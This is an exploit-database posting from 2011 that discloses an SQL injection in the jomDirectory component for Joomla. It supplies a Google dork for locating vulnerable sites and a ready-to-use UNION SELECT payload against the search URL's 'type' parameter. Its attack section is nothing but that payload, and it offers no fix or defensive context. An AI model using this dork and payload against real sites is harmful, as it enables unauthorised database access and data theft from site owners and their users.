Joomla jomDirectory SQLi Vulnerability

#1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
#0     _                   __           __       __                     1
#1   /' \            __  /'__`\        /\ \__  /'__`\                   0
#0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
#1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
#0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
#1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
#0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
#1                  \ \____/ >> Exploit database separated by exploit   0
#0                   \/___/          type (local, remote, DoS, etc.)    1
#1                                                                      1
#0  [+] Site            : 1337day.com                                   0
#1  [+] Support e-mail  : submit[at]1337day.com                         1
#0                                                                      0
#1               #############################################          1
#0                I'm Sid3^effects member from Inj3ct0r Team            1
#1               #############################################          0
#0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
 
#Name :Joomla jomDirectory SQLi Vulnerability
#Date : may,10 2011
#Vendor Url :http://www.comdev.eu
#Google Dork:inurl:com_jomdirectory
#Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
#Big hugs : Th3 RDX,Hanan_butt,Sugar,lucky
#special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,SeeMe,MaYur,MA1201,KeDar,Sonic,gunslinger_,Sn!pEr.S!,cr1m1n4l
###############################################################################################################

About: 

jomDirectory offers different types of views, you can perfectly match your site idea to make it classic Directory Tree Structure,  Listing or Article Homepage. Many configuration option can help you set the look of the website exactly how you want it, without touching the code!


###############################################################################################################

SQLi Vulnerability : 
#########################


http://www.target.com/JD/home/search?type=-11+union+select+1,2,3,4,version(),6,7,8,9,10,11--

###############################################################################################################



#  0day.today [2018-02-20]  #